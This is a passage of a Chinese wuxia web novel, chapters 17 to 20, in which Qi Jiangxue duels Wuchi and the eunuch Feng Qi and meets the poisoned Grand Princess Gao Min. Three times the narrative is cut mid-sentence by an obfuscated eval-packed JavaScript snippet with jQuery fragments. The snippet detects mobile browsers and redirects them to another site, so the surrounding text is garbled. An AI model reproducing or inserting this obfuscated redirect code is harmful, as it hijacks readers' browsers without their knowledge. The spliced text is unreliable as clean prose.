戚江雪道:“三天后。之前送了信不说,昨天还又专门来提醒我,生怕我不赴约。”
秦修意说:“你的武功如今已在她之上,可会让她?”
戚江雪摇头:“不会。她对武道如此认真,我又怎能怀有傲慢之心。况且这次是带着武器比试,她用长鞭想必很是熟练,我未必是对手。”
秦修意赞许地点点头。“不妄自菲薄,但也不能轻视对手。与无痴对战时,最关键的便是如何用锏刚猛近战的优势去破解长鞭的远程压制,记住我对你说过的‘破鞭三诀’。同时,你也可以观察一下无痴的鞭法。如今你对《清罡诀》的运用已经很纯熟,对锏也算是上手了,可以再辅修些其他武器。”
戚江雪道:“徒儿明白。”
“你不明白。我对这一天有多期待。”无痴将手里的鞭子甩了甩,满脸意气风发。
戚江雪笑了笑。“看出来了,不过上次你也差不多是这个意思。”
无痴拨了拨鬓边的发丝道:“哼,就喜欢和你打行了吧。我有预感这次我会大获全胜。”
戚江雪勾了勾嘴角:“那就试试吧。”
草木摇露,星辰无光。
裂帛之清厉尖锐与崩雷之迅疾铮昂交织在一起,让这幽夜喧嚣。
无痴挥舞抖动,长鞭如黑蟒出洞直逼戚江雪的咽喉。戚江雪双锏交击,火花流窜之际夹住了鞭梢,欺身向前,左锏将鞭绞住螺旋而绕,右锏砸向无痴肩胛。无痴早在戚江雪施展“云龙绞”时就手腕急转,此刻借侧身闪避之机,用力将鞭拉了回来。
戚江雪且战且思。截梢以乱其势,锁中以断其力,贴身以破其器。无痴亦在戚江雪的不断反制中一改攻势,避免被她找到机会。
眼见无痴打法转向保守,戚江雪露出了破绽,鞭稍果然在下一秒就缠上了她的左臂。趁着无痴回拉时,戚江雪突然借力暴起,将右手中的锏向无痴当胸掷去。这一招太过迅猛,无痴连鞭子都放弃了,整个人倒飞出去。
“哈哈,漂亮!这一招莫不就是传说中的‘撒手锏’?”无痴落地,接过戚江雪扔过来的长鞭问道。
戚江雪收起双锏。“算不上吧。充其量也就是个低配版。”
无痴想了想道:“低配?这个说法倒是很有意思。多亏你留了力,不然我这伤可免不了。”
“承让了。”戚江雪双手抱拳。
“今天多了些新领会需要琢磨琢磨。哎,你又一次超出了我的预计。”无痴向后瞥了一眼,语气中带了些揶揄,“你不知道,有些人现在可是羡慕得牙痒痒呀。”
戚江雪笑了起来,其实之前她就知道无疚在暗处观察着,不过她既然不打算露面,自己也就当作不知道了。
“厉害的不是我,是我师父。”还有我的武学外挂。戚江雪说完后又在心里补上了一句。
无痴轻轻一笑,她知道戚江雪口中的师父是谁,但没有多问。思绪陡转,她开口对戚江雪说:“你上次问过我凌鸢阁的前掌门公冶瞻,他死了。”
虽然已经知道结果,但听到这个消息戚江雪的心还是不可避免地向下沉去。
无痴整肃脸色,看着戚江雪道:“他中了‘附生疽’,应是毒发身亡。我看到他的尸体被一个药人带走,应是邱老安排处理的。抱歉,但这对他来说也算是解脱了。”
戚江雪点了点头。那个带走公冶瞻的药人应该是楼煊,就算嘴上说的再怎么无奈,他也不会真的放任自己师伯不管。死生有命,而她从开始便无能为力。
无痴顿了顿才开口。“你若要走,我们可以帮你。”
戚江雪略有些诧异:“你们可是掌教,我要是走了怎么交待?”
无痴很是不屑:“为何要交待?原本不想你走,可转念一想即便出去也可以随时找你玩,大不了一起走,反正在哪里对我们来说又没什么所谓。你本就不属于这里,难道还真打算在这终老吗?”
戚江雪道:“你说得没错。现在想来遇到你们算是我的幸运,我是一定要出去的。可此时出去我也不知能去哪里,反倒没那么着急了。而且,要出去的不只是我……”
无痴点了点头。“明白了。你想怎样就怎样,需要帮忙就来找我们。你想带走的人现在没有什么力量,更可能是拖累,靠你一个人想出去怕是难。”
戚江雪眼眶有些热,但她克制住了自己。“多谢。”
无痴又向后看了看,转头对戚江雪道:“不必。我和无疚从小就只有彼此,也以为有彼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15020012|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此就够了。后来才发觉,我想要的还有更多。你敢想能打长得又讨我喜欢,所以我单方面把你当朋友。也许以后我还会有更多朋友,但现在你排第一位。”
戚江雪唇角弯起:“好。你这个朋友我也认下了。不过你擅自做了决定,真的不会让某人有意见吗?”
“那就不关我的事了。”无痴的话渐渐消散在夜风中。
“不关我的事!”少年不满的声音响起。
天刚蒙蒙亮,戚江雪就在一阵吵嚷声中醒来。听声音是在朝着这个方向行进。
戚江雪整理一番,来到院子里。站在院外的温让和温礼似是刚来,还在边打哈欠边醒瞌睡。
看到戚江雪走出屋,二人对视了一眼。温礼刚想说话,戚江雪突然“嘿嘿”一笑,温让咳了一声,两人便不再搭理她。
戚江雪向外看去,两个武侍童已经带着哭哭啼啼的宋思蔻走到了她的门前。
宋思蔻看到戚江雪,双眼顿时迸发出光彩。“戚姑娘,帮帮我。”她一边说着一边向戚江雪靠近,被其中一个侍童用捆带狠狠拽了过去。
“老实点!送你来这里是邱老的命令,找谁都没有用!”
戚江雪看着宋思蔻问:“你是来和我做邻居的吗?怎么现在才来啊?”
宋思蔻眼露不解,看着她的样子又带了点胆怯,小声道:“戚姑娘。你不认识我了吗?我是宋思蔻。”
戚江雪拍手笑道:“你是不是也打了管事啊?打得好!”
侍童恶狠狠地对宋思蔻道:“这个幽人疯得厉害。不许和她说话!”
两个侍童连拖带拽将宋思蔻拉走。宋思蔻不断回头,戚江雪只是笑盈盈地看着她被送到了“陆”号院中。
温让瞪了戚江雪一眼,她只当看不见,在院门口站了好一会才回屋。
按照清晏山庄的判定标准,宋思蔻这样没有什么大错也没威胁的人应当在之前所在的尚善别院,怎么又被送到幽人馆?难道是她做了什么,比如去书房被抓住了?宋思蔻要找的到底是什么呢?
入夜。
戚江雪听到了惊慌失措的脚步声,宋思蔻正向她的院子奔来。她连忙出去,将紧追着宋思蔻的两个尸人击退。
“他们没有告诉你戌时后不要乱跑吗?”戚江雪冷声问道。
宋思蔻抽噎道:“是,但我,我好害怕。”
戚江雪看了看外面:“尸人一般不会进院子的,我帮你看着,你赶快回去吧。”
宋思蔻连忙摇头道:“我不敢一个人。今晚,我可不可以跟你在一起?”
戚江雪声音平静得有些冷漠。“你怎么会被关到幽人馆的?”
宋思蔻犹豫了一会,才咬唇道:“新来的那个于管事,欲对我行不轨之事。我宁死不从,打伤了他。”
戚江雪皱起了眉头。“如此下作,与畜生何异!”她看了看宋思蔻,缓缓道:“我原以为你柔弱,想不到竟然还能伤他。他的武功也不算弱吧。”
宋思蔻道:“当时顾不了许多,只想着同归于尽,好在他当时没什么防备。没有人能为我作主。”说到这里她又泪如雨下,“今天看到你我才算有一点安慰,可不可以让我待在这里。”
戚江雪轻轻拍了拍宋思蔻的肩膀。“不是我不愿让你在这,只不过他们说的没错。我精神出了些问题,时常会把身边的人当成尸人,你与我在一起才是真的可能受伤。趁我现在清醒,送你回去吧。”
宋思蔻虽将信将疑,却也没有理由继续留下。戚江雪看着宋思蔻进屋不再出来后,才悄然去找秦修意。
宋思蔻说自己奋力反抗,可戚江雪观察到她身上并无任何异常,唯一算得上伤痕的只有早上双手被捆绑的痕迹。既然她来了幽人馆,那就有必要提醒一下师父和关前辈了。
18. 春色满园无从赏
戚江雪穿梭在静园中。
夜幕铺开。繁星缀于其上,抬头看去,好似碎银千百两。在这里的唯一好处大概就是不用为钱发愁。如果出去了,关前辈行医看病,她也可以开个武馆或者镖局。这个年代女子在外主事肯定不像后世那样方便,但只要有实力,一样可以凭本事吃饭。
不过,本钱从哪里来呢?不如就从清晏山庄抢吧,反正她不会有什么心理负担。现在出去的希望就在眼前,这件事也可以考虑起来了。
初来时正值深秋,如今园中的柳绿桃红提醒着她大地已经回春。然而,这景她只能在夜深无人时才能独自赏得两三分,本就淡了颜色,时不时还会碰上些煞风景的东西。
戚江雪双手持锏,分别敲碎了两个尸人的头骨,接着又对其他几个跟上来攻击的尸人进行了物理超度。虽然师父曾提醒她要当心戾气加重,可她有时真的控制不住,尤其是在面对尸人的时候。不知这是不是跟自己的武学有关,或许是她修行还太浅薄,心性与武力不成正比。
戚江雪出了静园,往东南走了没多久就被挡住了。面前是一座山。
这里看上去就是尽头了,但戚江雪知道不是。山庄地图上位于东南角落的是无争别院,但那里没有与其他地方联通,此刻她才知道这是因为从静园出来后去往那里的路就被山阻隔了。
戚江雪飞到山脚下。这应该是终南山脉南麓的一座小山峰,不知叫什么名字,看上去沟谷幽深,植被茂密。既然会爆发地火,山脉应是一座活火山,真正的温泉肯定在山上,就是可能没那么好找。
要不要等楼煊来再一起找?他肯定比自己更清楚真正的位置。
戚江雪很快便推翻了这种想法。
她和楼煊的处境从来就不同。楼煊是自由的,她不是。楼煊在乎的人已经不在这里了,而她在乎的人都在。楼煊愿意帮她,只是因为他是个好人,不代表她就真的可以放任自己去欠他的人情。
为什么要把希望寄托在别人身上?没有楼煊难道她就不出去了吗?今日来本就是为了探明前路的,她一刻都不愿多等。以现在的情况看,自己也没什么好怕的。
戚江雪边想边上了山。
从一些粗犷的地质遗迹可以看出,这里曾发生过山崩。有小型堰塞湖形成,也有一线天等景观。如果不是因为知道入口在温泉处,戚江雪一定会怀疑断崖瀑布的后面别有洞天。
以戚江雪粗浅的地理知识判断,温泉一般会在断层裂隙,找到冒水处再找水源也就不难了。戚江雪一直顺着东南方向走,细细观察各种断面,试探地表温度,果然找到了第一处温泉。这个温泉池很小,但地底连通,接下来就很顺利了。
戚江雪从第二处温泉池寻过来,看到前面有一座山洞,温泉大概率就在山洞里。戚江雪心情一振,正要进去,旁边的草丛里突然传来窸窸窣窣的声音。
这一路虽有不少小动物与她擦身而过,但彼此都没有干扰。这动静听上去不小啊,戚江雪警觉起来。
草屑飞舞,一股腥风向戚江雪袭来。她侧身一让,却又险些被其尾部扫到。定睛看去,一条五米多长的黑斑蟒蛇,正立起身子冲她吐着蛇信。
戚江雪交叉双锏,缓缓敲击着。“小龙。你长这么大不容易,再修炼修炼没准就得道了,何必要给自己找不痛快。”她以前听过一种说法,蛇很有灵性,见到有年头的蛇如果称之以龙,或许它们可以借人的言灵有所突破。
戚江雪没有把握一击便打中七寸之处,说这句话只是为了给自己一点安慰,多争取些观察时间。没想到那黑斑蟒蛇听完她的话后,竟真的垂下了头,解除了攻击之态。
戚江雪还没来得及诧异,就听到不远处有人哼笑。一阵哨声响起,黑斑蟒蛇闪电般隐入草丛,不见了踪迹。
“前方不得入内。念你有好生之德,速速离去。”说话之人并未露面,声音不似寻常男子浑厚,反而带着些尖哑。
这人从一开始就隐藏在她周围伺机而动,而她竟毫无所觉。戚江雪感到脸上格外冰凉,原来风中夹杂着雨滴。她开口道:“无意冒犯。只是我必须要去山洞里查看。”
那人回道:“山洞不许进入,再不走莫怪我不客气。”
无争别院在山的另一边,矿洞入口除了先帝并没有其他人知道,那这里就不应该有山庄的人看守。
“敢问阁下为何在这?这里应该并不属于任何人吧。”戚江雪问道。
“与你无关。我说了,这里不许进入。”那人语气明显变得阴冷起来。
好生霸道。他若说个能让自己接受的理由也许她还会考虑考虑,上来就赶人难道这山是他开的?戚江雪被激起了怒意。
“既然如此,我还偏就要试试了。”戚江雪扬声道。
此时山洞里传出一个女声,虽气息有些不稳,却隐含威严。“你此番前来可是为了找赤渊矿洞?”
戚江雪一惊,此人是谁?如何知道?
那女子接着说道:“矿洞内部地形复杂,又遍布机关,就算你侥幸进去也无法存活。不要白费力气了。”
戚江雪听声音判断这女子的年纪应当与秦修意差不多。她放软语气道:“这里有我必须要找的东西,即便危险重重我也愿意一试。若就此离开,我无法甘心。”
女子不再说话。
雨势变大,裹挟着冷风,一个身影落到了戚江雪面前。男子六十多岁,一身紫袍,面白无须。正是之前说话之人。
冯祁看了一眼戚江雪手中的锏道:“年纪轻轻,不要仗着有些武艺便不知天高地厚。”
戚江雪点头道:“请赐教。若你没有武器,我也可以不用。”
冯祁傲然一笑:“大可不必。”
戚江雪眼前一花,下一秒冯祁便出现在她面前。拳风袭来,戚江雪仓促间右手举锏抵挡,只觉手腕被震得发麻,她连忙用力将锏握紧。冯祁突然化拳为掌,锏被他抓住后瞬间便开始发烫。戚江雪咬牙忍住,一招“回风卷落叶”,左手持锏贴地横扫,逼冯祁跳起,夺回右锏控制权后立马拉开了身位。
戚江雪必须借助武器优势避免被冯祁贴身,可是冯祁速度极快,她数次都难以拉开距离。冯祁双掌似乎有奇怪的吸力,只要碰到武器,双锏便像遇到胶水一般被黏住,再难被她所控制。这也是内力深厚的一种表现,戚江雪知道自己不是对手,但却不愿意放弃。
冯祁双手反抓住锏,一个推云势将戚江雪挑翻在地。
“再打下去,你可就要受伤了。”冯祁手一松,锏便落到了地上。
戚江雪翻身将锏捡起,沮丧极了,一时没有说话。
冯祁背着手道:“与我对招有来有往,还能偷师反打,真是天赋异禀。不过,根基还是太浅。”
“多谢前辈手下留情。”戚江雪抬手抹了抹脸。“但山洞我是一定要进的。”
冯祁一脸淡定。“你不想要命,我却惜才。秦家锏好不容易有了传人,你若折在我手里,恐怕秦修意到了地下都不得安宁。”
戚江雪挑了挑眉:“你认得我师父?”
冯祁轻笑了起来:“算不上认识。她被关在这山庄的时日也不短了,我有所耳闻。”
戚江雪问:“阁下到底是谁?”
“冯都知。”山洞中的女子突然开口唤了一声。
冯祁收起笑容:“你不必知道。赶快下山,否则天亮时你可赶不回去。以后也不要再来了。”说完后他便转身向山洞走去。
戚江雪知道自己今夜已经没有机会了,便也迅速离开。
“不必沮丧,你的进步实属飞速。每次遇上的都是高手,也能在实战中成长。”秦修意安慰道。
她不也是准一流高手吗?可惜人外有人,高手之外还有高手,自己又一次吃瘪了。
戚江雪怏怏不乐:“可是若打不过他,我怎么去找矿道入口呢。我练得还是不够。”
秦修意为戚江雪的手绑上了一层绷带。“都已经待了这么久,我其实对出去没什么执念了。外面也不再有我挂念的人,只要你好,我就能安心。”
“不错。阿雪,你不用管我们,不要让我们反过来拖累你。”刚刚过来的关苒苒也开口说道。
戚江雪立马否认:“怎么能是拖累?我已经没有家了,你们在的地方就是我的归处,要走当然是一起走。在这里师父的身体只会越来越差,关姨,就算陈家不肯放过你,我也不会让他们再伤害你的。”
关苒苒叹了口气,坐在了她旁边。“要去那矿道就只有一条路吗?”
“对。”戚江雪将自己之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15031711|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前遇到的情况详细讲了出来。
秦修意若有所思。“听你描述此人的武功似乎很像是玄冥劲,但又不完全相同。他的功夫远在你我之上,论年龄也想必在江湖上扬名已久。他知道我被关在这里,可是这样的高手我竟想不出会是谁。”
关苒苒犹豫了片刻才说道:“阿雪说那女子叫他冯都知,再加上那人的长相,我倒是想到了一个人。可他为何会在这里?”
秦修意问:“此人是谁?”
关苒苒道:“入内内侍省都知冯祁。他自幼伺候先帝,掌管内侍机构和翰林院三十余年。我祖父倒是和他有些接触,听闻这位中贵人武艺超绝,极得先帝信赖与重用,还曾参与过对景国的军事行动。”
戚江雪有些了然。“原来如此。公冶前辈曾说他只将矿脉图交给过先帝,这位冯都知是先帝的身边人,也许先帝将此事告诉了他。”
关苒苒道:“公冶瞻竟然没有当即被灭口,这可不符合先前那位的性子。”
“大概还需要他破解机关吧。公冶前辈应当是留了后手的。”戚江雪猜测。
秦修意面色有些凝重。“凭冯祁的武功定是来去自由,他在清晏山庄是为何?只是为了看守矿道吗?若真如此,我们只怕是难从他手下过去。”
戚江雪想了想道:“清晏山庄背后本就靠着皇室,我觉得他在这里主要与那洞中的女子有关,他似乎很听那女子的话。”
关苒苒赞同道:“我虽有猜测,但却不敢确定。毕竟我被关进来时,那位在朝堂中还如日中天。”
戚江雪道:“无论如何,我不能放弃。师父,跟我说说玄冥劲吧。既然技不如人,那我就继续练。”
“你近来怎么劲头这么足,居然拉我来当陪练?”无痴一边与戚江雪对打,一边问道。
戚江雪挑开无痴甩过来的鞭子道:“不多切磋,何来进步?我们要在斗争中求生存!”
无痴一招“蟒回首”躲开戚江雪的攻击。“你这人老说些奇奇怪怪的话,不过听着怪有意思的。”
两人打了上百回合,才停了下来。
“怎么样?我最近是不是又变厉害了?”无痴微微喘着气,有些得意的问。
戚江雪回道:“不错。可喜可贺啊。”
“也不过如此。还是打不过你!”无痴看了看站在不远处的无疚,扬了扬手中的鞭子问:“你不想来试试吗?”
无疚犹豫了一下,走到了戚江雪面前。她喉间的伤口已经愈合,只留下了一条拇指长的伤疤。
戚江雪看着她的伤口道:“抱歉。”
无疚没有说话,只是摇了摇头,举起长剑摆出了起手式。
戚江雪点了点头,随后便出手了。
一番交手,无疚连连后退,用剑拄地才稳住身形。
“承让了。”戚江雪客气道。
无痴走上前来,先是看了看无疚,然后才对戚江雪说:“你这次没尽全力吗?怎么打得这么软!”
戚江雪苦笑道:“你也太高看我了。你们二人都比之前厉害,我怎么敢大意。这可是车轮战,我也会累的好不好。”
无疚点了点头,算是接受了。无痴又道:“你可是遇上劲敌了?无争别院那位?”
戚江雪道:“你怎么知道?我确实败于一位冯前辈手下,不过我不是在无争别院碰上他的。”
无痴笑了笑:“你这么奋发图强,肯定是遇上了什么。庄主的十大影卫虽然也很强,但论单打独斗却未必是你的对手。现今山庄里能成为你对手的也只有他了。”
戚江雪问:“你们与他对上过吗?”
两人摇了摇头。无痴道:“无争别院涉及皇家,向来独立于山庄,我们才不会去触霉头。不过你若要帮忙,我们可以跟你一起。”
戚江雪摇头:“我再试试,实在不行再说。”
戚江雪这段时间修习《清罡诀》时,总会根据师父所说的玄冥劲去消化当日与冯祁对决时的招式与内劲。今日她运气时脑海中突然跳出了一行熟悉的信息。
“功德奖励有新变化——”
“您当前的功力水平为一流高手,可继续提升,上限未知。”
从准一流高手到一流高手,她又进了一阶。只是不知现在的她对上冯祁又会怎样?
19. 风动那管树欲静
“你这女娃年纪不大,性子倒倔。看来是不吃亏不肯罢休了?”冯祁再一次将戚江雪拦在山洞外。
戚江雪一脸肃然:“恕晚辈无礼,实在不能就此放弃。只要我手脚还能动,就一定会来请前辈赐教。”
冯祁一摆袖道:“哼。那我便断了你的手脚。”说罢骤然出手。
戚江雪早有准备,将这一击拦下,两人瞬间过了十来招。冯祁暗自惊叹,这女娃竟然比前些时日精进了不少,还能将自己先前打过的招式熟练运用,实在是不能小觑。冯祁整个人愈发认真起来。
戚江雪知道自己依然不是冯祁的对手,对方能以空手对双锏,自己就已经没有胜算了。但比起上次她应对起来不再那么吃力,有更多的余裕去观察学习冯祁的招式。飞沙走石之下,戚江雪虽不能赢,但也总能让自己全身而退。
“前辈,想必断我手脚也没那么容易,不如就让我进去吧。”戚江雪双锏在地上擦出火花,退后两步对冯祁道。
冯祁听到这话,似乎感到被冒犯,再次攻了上来,出手更加狠辣。戚江雪顿时感觉压力增大,不敢再分心说话。
就在这时,洞中传来一阵剧烈的咳嗽声。冯祁听到后脸色大变,立马停了手,朝山洞奔去。戚江雪自然不会趁此时偷袭,但她紧跟在了冯祁后面。冯祁转头看过来,戚江雪可怜巴巴地望着冯祁,对他笑了笑。冯祁狠狠瞪她一眼,不再理会。
洞中的温度比外面高许多,顶部倒悬着一些散发着幽幽荧光的小型石柱。没走几步巨大的温泉池便映入眼帘。那条黑斑蟒蛇原本在池边,见有人进来,先立起身子望了望,随后便向山洞深处游走。
温泉池里的女子看上去已经神志不清,但双手依然紧紧抓着池壁。冯祁上前把女子从池中扶上来,托住她的后背,将内力源源不断输送过去。女子咳嗽几声,醒转过来,眼神锁定站在旁边的戚江雪。
女子年逾三十,虽只着一身中衣却也无损气度,凤眸看过来时不怒自威。戚江雪没有回避女子的视线,而是与她静静对望片刻。
“你还是进来了,看来冯都知也拿你没办法。”女子淡淡开口,语气听不出喜怒。
“臣无能。”冯祁说完看向戚江雪道:“狂妄小儿,还不快拜见长公主。”
历史上此时被称为长公主的只有一人。靖和长公主高敏,绥英宗高远一母同胞的姐姐。史书记载她祸乱朝堂,“甫宁政变”后被英宗赐死。后世很多人虽然不赞同她的野心,但都很认可她的能力。如果上位的是她,也许大绥的国运会有所不同。
戚江雪对这位长公主的印象很好,在她看来长公主只是败给了时代局限性。
不过她该怎样拜见?跪拜大礼她可行不下去,于是她不伦不类地鞠了一躬。“长公主好。”
冯祁嘴角抽了抽,高敏的脸色倒是没有太多变化。“你进矿洞到底是为什么?”她看着戚江雪问道。
“为了离开清晏山庄。”戚江雪此时没有说谎的必要。
“离开?矿洞里有另一个出口?”高敏诧异道。
戚江雪点点头。看来他们只知道矿道的存在,却不知矿道能通向山庄外。
冯祁皱起眉头问:“你如何得知?”
戚江雪想了想说:“凌鸢阁前掌门公冶瞻临死前告诉我的。”
“公冶瞻死了?”高敏的声音有些抖,她闭了闭眼道:“那里面的机关怕是再也无法破解了。”
“未必,能不能破解也要看了才知道。”戚江雪说。
冯祁冷笑一声:“也就你这不知天高地厚的丫头才能说出这话。公冶瞻的机关若是谁都能破,凌鸢阁早就不复存在了。不过凭你的功夫这里也困不住你,为何非要走这条暗道?莫非你想骗殿下?”
戚江雪无奈道:“我师父她们中了‘定风波’,没有任何抵抗之力,我要带她们一起走就不能硬闯。长公主殿下应当也不是自愿来这里的吧,现在既然知道有另一条通道,二位也可以出去了。”
高敏轻笑一声:“就这么把秘密说了出来,你就不怕我杀了你?”
戚江雪眨了眨眼道:“这样做对殿下没什么好处,以您的格局应当不会如此行事。冯都知一直对我指点有加,肯定不会痛下杀手。再说,我也是会反抗的呀。”
冯祁眉毛一竖:“谁指点你了?你这娃娃嬉皮笑脸,尽会胡诌。”
高敏又咳嗽起来,冯祁连忙点了她身上的几处穴位。戚江雪看向高敏的印堂,只见那里隐隐泛着黑气。
“殿下是中毒了吗?”戚江雪问。
冯祁沉声道:“殿下中了‘牵丝烬’,体内的毒丝已经开始蚕食血肉了。”
原本记载中长公主应该是被斩首的,现在变成了中毒。不过根据之前的事来看,这很大可能已经是平行时空了,有偏差很正常。
“有解药吗?”戚江雪问得小心翼翼。
高敏嘴角扯出了一个嘲讽的弧度。“这毒闻所未闻,亏他费心找到。我如今的状况,离鬼门关也不过一步之遥,每日在这温泉池中浸泡,只是为了缓解一点疼痛。所以,我恐怕也不能放你过去。”
戚江雪道:“我知道赤渊矿事关重大,此事也不宜让太多人知晓。我只想出去,其他的我不在乎。”
高敏道:“看来公冶瞻告诉了你不少东西。父皇只将矿脉之事说与我一人,连圣上都不知情。他们想着这清晏山庄是用来关押政敌,肃清江湖势力的地方,却不知此处还藏着这个秘密。哈哈,可我知道了又能怎样呢。”她说着,因为难受紧紧攥住了胸前的衣领,手背上青筋凸起。
长公主没有直接被杀,而是被囚禁在此,局势就还有转变的余地。瘦死的骆驼比马大,短短一年时间,长公主的势力不可能被连根拔起。虽然不知以后会怎样,但此时这是一个可以抓住的机会。
“殿下,冯都知。我身边有位前辈医术高超,不如让她来看看是否能解毒。”戚江雪看着高敏的样子,于心不忍。若能治好她,他们出去一事也会更加顺利。
冯祁道:“我查过,此毒无药可解。”
戚江雪说:“那位前辈是神医关山月的后人,成与不成看过才知。”
冯祁想了想,问:“你说的可是太医院关院使的孙女?”
戚江雪说:“正是。”
冯祁看了一眼已经陷入昏迷的长公主道:“殿下身边不能离人,就请你将她带过来吧。若真能替殿下解毒,之后的事都好说。”
“我此前并未听过‘牵丝烬’这种毒,只能先过去看看。若能通过外力将毒逼出一些,或许可以解析出毒药的成分。”
关苒苒一边说一边装点着自己的药囊。戚江雪看着她用一种液体将针灸包中的每根针都进行了擦拭,不知是不是在消毒。
戚江雪耳朵突然一动,有什么在朝着这个方向来。来人轻功很好,若不是她五感格外灵敏,一般人怕是根本察觉不到。院外传来接连落地声,一股寒意笼上了戚江雪。
“关姨小心!”戚江雪一把将关苒苒揽进怀中,带着她整个人向侧后方翻滚过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15034542|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去。
下一秒,两支短箭穿门而入,射向她们刚刚站着的地方。失去目标的短箭径直钉在了桌板上,箭头泛着幽冷的蓝光。
关苒苒惊魂未定,看到带毒的短箭脸色又是一变。戚江雪神色冷凝地看着门外,将关苒苒护在身后。“关姨,你先进密道去找师父。”
话音刚落,门被踢开,两个蒙面黑衣人闯了进来。
戚江雪先发制人,猱身而近,一脚踢向其中一人,紧接着转身一个肘击将另一人逼退。借两人避开之机,戚江雪拿起之前放在桌边的双锏。转了个漂亮的锏花后,她看着两人露出嘲讽的笑。
黑衣人自知不敌,其中一个先行退了一步道:“我们要找的是姓关的,与阁下无关。”
戚江雪冷声道:“你要找她,就与我有关。她与你们又有何干?”
黑衣人道:“拿人钱财,替人办事。有人要她的命。”
黑衣人还未反应过来,戚江雪已悍然出手。双锏刚猛霸道,不留余地,只短短几回合,两名黑衣人就倒地不起。
戚江雪一把扯下他们的蒙面巾,抓着一人的头发厉声问:“谁派你们来的?”
黑衣人嘴角一动,抽搐两下后便没了气息,另外一人也是如此。
关苒苒和已经过来的秦修意一起上前查看。
秦修意将黑衣人的袖子撸了上去,二人手腕处皆有一个禽类纹身,戚江雪一时认不出这是什么鸟。
“是白鹭堂的杀手。我还在外面时白鹭堂就已经是有名的杀手组织,只要出得起价钱,什么活都能接。看来现在他们的生意依然不错。”秦修意道。
“他们牙齿里都藏着毒,早就做好了失败后便自尽的准备。冲着我来的,除了陈家不做他想。”关苒苒恨声道。
戚江雪有些疑惑。“之前碍于关家,他们承诺只要关姨留在山庄里就不再追究。已经相安无事了好些年,为何要选在这时动手?”
关苒苒冷笑:“他们恐怕早就想杀我了,能忍这么多年已经是极限。”
戚江雪道:“我觉得或许是外面发生了什么,局势有变。”
秦修意点点头:“可能那陈锦纶死了,他们再也掩不住恨意。也可能是关家有什么事,让他们不再忌惮。”
“现在待在这里已经不安全了,我们还是得尽快想办法出去。”戚江雪道。
关苒苒站起身道:“阿雪,现在就带我去见长公主。”
戚江雪看着秦修意,有些犹豫。
秦修意拍了拍她道:“这些人是冲着苒苒来的,于我无碍。我回去等你们的消息。还不知矿道入口的具体情况,也破解不了机关,我没有过去的必要。”
确实如此,现在长公主那边还未解决,她同时带两人过去也不方便。
“那就请师父等我。”戚江雪道。
关苒苒看着从高敏体内抽出的长针,神色凝重。
“怎样?可有办法?”冯祁一脸焦急地问。
关苒苒缓声道:“目前我能判断出此毒用了火线虫卵,尸陀花和阴凝露。这些东西都来自西域,解药恐怕有些难寻,我只能先延缓一下毒性。”
“难寻,却不是寻不到。既然知道了成分,那应当也能配出解药了。”冯祁道。
关苒苒犹豫了一下,点头道:“按理来说是这样。”
冯祁正要继续说什么,先前不知藏在哪里的黑斑蟒蛇突然吐着信子向洞外窜去。
戚江雪站起身看向外面。冯祁满脸阴沉道:“好个不速之客。”
20. 宫门自来深似海
二十个持刀黑衣人把整个山洞前后都围了起来。他们比起之前的两个刺客看上去更加有组织,气质也更为森然。
冯祁站在洞口缓缓扫视一眼,对戚江雪道:“从山洞后面出去有一条小路,你带着殿下她们先回无争别院,这里不适合疗伤。”
戚江雪道:“我留下来帮你。”
冯祁不屑道:“这些人我还不放在眼里。”
既然冯祁愿意相信她,戚江雪也就不再啰嗦。她回到山洞里,带着关苒苒和高敏从山洞另一头出去。
无争别院里再无他人,只有一树树梨花。春风拂过静夜,摇落满地雪白。
可以看出这里虽无人侍候,但建筑和各种器具都比别处精巧。高敏靠在床上,虽然浑身都被疼痛侵蚀,但她只是皱紧眉头,强忍着不肯出声。
戚江雪将关苒苒刚熬好的药端了过来。“殿下,这药能让你稍微舒服些。”
高敏摇头拒绝了被喂,颤抖着用手拿起药碗一饮而尽。“多谢。”
戚江雪问:“白天也是疼的这样厉害吗?”
高敏哑声道:“白天好些,一到晚上毒便发作起来,生不如死,只有在那温泉水中才能稍稍缓解。其实我知道,这毒是解不了的,之前在山上冯都知太过乐观了。所谓‘牵丝烬’就是要像傀儡般吊着我一口气,求生不得求死不能,难以解脱。”
戚江雪认真道:“这毒来自西域,解药自然也要去西域寻。或许很难,但终归是有希望的。而且关姨也会尽量替殿下医治。”
高敏摇头:“在宫里时,关太医就常为我诊治头疾,关家的医术我自是信得过的。但就算能找到解药,我也等不到那个时候。今日那些人就是来杀我的。”
戚江雪皱眉:“关姨今日也遇上了刺客,这些人像是约好了一样。”
